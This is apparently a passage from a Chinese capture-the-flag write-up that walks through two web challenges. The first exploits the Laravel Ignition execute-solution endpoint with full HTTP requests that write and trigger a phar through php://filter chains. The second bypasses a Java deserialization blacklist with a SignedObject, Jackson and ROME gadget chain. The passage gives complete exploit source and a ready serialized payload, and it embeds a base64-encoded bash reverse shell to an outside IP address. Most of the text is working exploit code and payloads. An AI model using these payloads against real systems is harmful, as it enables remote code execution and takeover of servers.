6B=00=37=00=49=00=47=00=56=00=34=00=61=00=58=00=51=00=37=00=49=00=44=00=38=00=2B=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=6F=00=42=00=73=00=76=00=5A=00=77=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=73=00=57=00=71=00=62=00=6C=00=78=00=64=00=51=00=50=00=4A=00=66=00=66=00=42=00=38=00=6D=00=31=00=74=00=70=00=52=00=5A=00=58=00=78=00=49=00=77=00=72=00=34=00=45=00=43=00=41=00=41=00=41=00=41=00=52=00=30=00=4A=00=4E=00=51=00=67=00=3D=00=3D=00

得到上面的结果后直接跟着打

清空laravel.log:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.18.20
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/json
Content-Length: 334

{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"username",
"viewFile":"php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}

添加前缀:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.18.20
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/json
Content-Length: 169

{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"username",
"viewFile":"AA"
}
}

写入phar:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.18.20
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/json
Content-Length: 4800

{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"username",
"viewFile":"=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=42=00=41=00=67=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=4C=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=79=00=4F=00=44=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=4B=00=43=00=64=00=70=00=5A=00=43=00=63=00=70=00=4F=00=79=00=42=00=6C=00=65=00=47=00=6C=00=30=00=4F=00=79=00=41=00=2F=00=50=00=69=00=49=00=37=00=66=00=58=00=31=00=39=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=4C=00=67=00=61=00=4C=00=32=00=63=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=46=00=6F=00=39=00=53=00=48=00=56=00=36=00=6B=00=4F=00=63=00=69=00=33=00=71=00=33=00=6B=00=31=00=6E=00=72=00=6E=00=5A=00=6C=00=2F=00=44=00=63=00=4F=00=50=00=45=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00a"
}
}

注意最后要加一个a

去除脏数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.18.20
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/json
Content-Length: 305

{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"username",
"viewFile":"php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}

触发phar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.18.20
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/json
Content-Length: 212

{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"username",
"viewFile":"phar:///src/storage/logs/laravel.log/test.txt"
}
}

注意最后的phar是绝对路径,要自己慢慢试出来的。具体怎么试的我就不把图放上来了。最后读取flag即可:

LookUP

求一个预期解的wp T_T

题目写了一个自定义的objectInputStream,并且重写了resolveClass添加黑名单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package com.backdoor.util;

import com.backdoor.classes.hello;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import java.io.IOException;

import java.io.InputStream;

import java.io.InvalidClassException;

import java.io.ObjectInputStream;

import java.io.ObjectStreamClass;

import java.util.ArrayList;

import java.util.HashMap;

import java.util.Hashtable;



/* loaded from: app.jar:BOOT-INF/classes/com/backdoor/util/MyInputstream.class */

public class MyInputstream extends ObjectInputStream {

private ArrayList list = new ArrayList();



public MyInputstream(InputStream in) throws IOException {

super(in);

}



@Override // java.io.ObjectInputStream

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {

this.list.add(TemplatesImpl.class.getName());

this.list.add(hello.class.getName());

this.list.add(HashMap.class.getName());

this.list.add(Hashtable.class.getName());

System.out.println(desc.getName());

if (!this.list.contains(desc.getName())) {

return super.resolveClass(desc);

}

throw new InvalidClassException("nonono");

}

}

但是可以看到这个黑名单并没有过滤SignedObjectjackson啊,很明显可以通过二次反序列化直接绕过过滤。

仔细看pom.xml,题目还提供了rome 1.0,因此思路就可以是SignedObject配合Jackson打二次反序列化触发rome了,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
package com.example.romedemo;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import java.util.HashMap;

public class pcbexp {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = getTemplatesImpl();
EqualsBean equalsBean = new EqualsBean(String.class, "aaa");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", equalsBean);
map1.put("zZ", templates);
map2.put("zZ", equalsBean);
map2.put("yy", templates);

HashMap hashMap = new HashMap();
hashMap.put(map1, "1");
hashMap.put(map2, "1");

SetValue(equalsBean, "_beanClass", Templates.class);
SetValue(equalsBean, "_obj", templates);

// 生成SignedObject
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.generateKeyPair();
SignedObject signedObject = new SignedObject(hashMap, keyPair.getPrivate(), Signature.getInstance("DSA"));

// 删除BaseJsonNode的writeReplace类
ClassPool pool = ClassPool.getDefault();
CtClass node = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod wr = node.getDeclaredMethod("writeReplace");
node.removeMethod(wr);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
node.toClass(classLoader, null);

POJONode pojoNode = new POJONode(signedObject);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
SetValue(badAttributeValueExpException, "val", pojoNode);

String ser = Serialize(badAttributeValueExpException);
System.out.println(ser);

//Unserialize("rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAPHQAG2NvbS5leGFtcGxlLnJvbWVkZW1vLnBjYmV4cHQAC3BjYmV4cC5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IALGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlBPSk9Ob2RlAAAAAAAAAAICAAFMAAZfdmFsdWVxAH4AAXhyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc3IAGmphdmEuc2VjdXJpdHkuU2lnbmVkT2JqZWN0Cf+9aCo81f8CAANbAAdjb250ZW50dAACW0JbAAlzaWduYXR1cmVxAH4AG0wADHRoZWFsZ29yaXRobXEAfgAFeHB1cgACW0Ks8xf4BghU4AIAAHhwAAAD1KztAAVzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAnNxAH4AAD9AAAAAAAAMdwgAAAAQAAAAAnQAAnl5c3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLkVxdWFsc0JlYW71ihi75fYYEQIAAkwACl9iZWFuQ2xhc3N0ABFMamF2YS9sYW5nL0NsYXNzO0wABF9vYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHBzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF/gGCFTgAgAAeHAAAAFWyv66vgAAADQAGAEAAWEHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ+AQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAKU291cmNlRmlsZQEABmEuamF2YQAhAAIABAAAAAAAAQABAAUABgABAAcAAAAaAAIAAQAAAA4qtwAJuAAPEhG2ABVXsQAAAAAAAQAWAAAAAgAXcHQAA2FhYXB3AQB4dAACelpxAH4AD3h0AAExc3EAfgAAP0AAAAAAAAx3CAAAABAAAAACcQB+ABVxAH4AB3EAfgADcQB+AA94cQB+ABZ4dXEAfgAdAAAALjAsAhQq+kMQpBLgSbD3Y7VsFZujCJRKJAIUJpEbqrpamAouD6ZvxcL62OGzx4h0AANEU0E=");
}
private static void SetValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
private static byte[] GenerateEvil() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzOC4xMjcuNzQvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}\");");
ctClass.addConstructor(constructor);
return ctClass.toBytecode();
}
private static TemplatesImpl getTemplatesImpl() throws Exception{
byte[][] bytes = new byte[][]{GenerateEvil()};
TemplatesImpl templates = new TemplatesImpl();
SetValue(templates, "_bytecodes", bytes);
SetValue(templates, "_name", "aaa");
SetValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
private static String Serialize(Object obj) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream encode = new ObjectOutputStream(baos);
encode.writeObject(obj);
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
private static void Unserialize(String s) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(s)));
objectInputStream.readObject();
objectInputStream.close();
}
}

payload:

1
rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAPHQAG2NvbS5leGFtcGxlLnJvbWVkZW1vLnBjYmV4cHQAC3BjYmV4cC5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IALGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlBPSk9Ob2RlAAAAAAAAAAICAAFMAAZfdmFsdWVxAH4AAXhyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc3IAGmphdmEuc2VjdXJpdHkuU2lnbmVkT2JqZWN0Cf+9aCo81f8CAANbAAdjb250ZW50dAACW0JbAAlzaWduYXR1cmVxAH4AG0wADHRoZWFsZ29yaXRobXEAfgAFeHB1cgACW0Ks8xf4BghU4AIAAHhwAAAELaztAAVzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAnNxAH4AAD9AAAAAAAAMdwgAAAAQAAAAAnQAAnl5c3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLkVxdWFsc0JlYW71ihi75fYYEQIAAkwACl9iZWFuQ2xhc3N0ABFMamF2YS9sYW5nL0NsYXNzO0wABF9vYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHBzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF/gGCFTgAgAAeHAAAAGvyv66vgAAADQAGAEAAWEHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ+AQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQBdYmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzg0TGpFek9DNHhNamN1TnpRdk1qTXpNeUF3UGlZeH18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9CAAQAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEgATCgALABQBAApTb3VyY2VGaWxlAQAGYS5qYXZhACEAAgAEAAAAAAABAAEABQAGAAEABwAAABoAAgABAAAADiq3AAm4AA8SEbYAFVexAAAAAAABABYAAAACABdwdAADYWFhcHcBAHh0AAJ6WnEAfgAPeHQAATFzcQB+AAA/QAAAAAAADHcIAAAAEAAAAAJxAH4AFXEAfgAHcQB+AANxAH4AD3hxAH4AFnh1cQB+AB0AAAAuMCwCFHljoG3/4cGiTq4dKhyep69MBtl8AhRfKelvqGBUtkddritkGkdNvdC08nQAA0RTQQ==

直接将payload打过去即可